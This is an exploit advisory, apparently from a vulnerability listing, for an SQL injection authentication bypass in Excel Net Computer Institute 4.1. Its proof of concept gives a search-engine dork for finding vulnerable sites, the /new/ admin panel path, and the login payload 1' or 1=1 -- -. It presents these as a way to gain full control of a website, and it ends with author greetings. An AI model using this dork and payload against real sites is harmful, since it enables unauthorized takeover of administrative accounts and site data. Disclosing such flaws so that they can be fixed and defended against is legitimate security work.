Headline
Excel Net Computer Institute 4.1 SQL Injection
Excel Net Computer Institute version 4.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
====================================================================================================================================| # Title : Excel Net Computer Institute Version 4.1 SQL injection authentication bypass Vulnerability || # Author : indoushka || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : https://www.excelnet.org/ | | # Dork : "photos_view.php?pid=" |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use path (/new/) to access at admin panel & Full control of website .[+] Use payload for login information = user & pass : 1' or 1=1 -- -[+] https://127.0.0.1/excelnet.41org/new/lead_home.phpGreetings to :========================================================================================================================= |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | |=======================================================================================================================================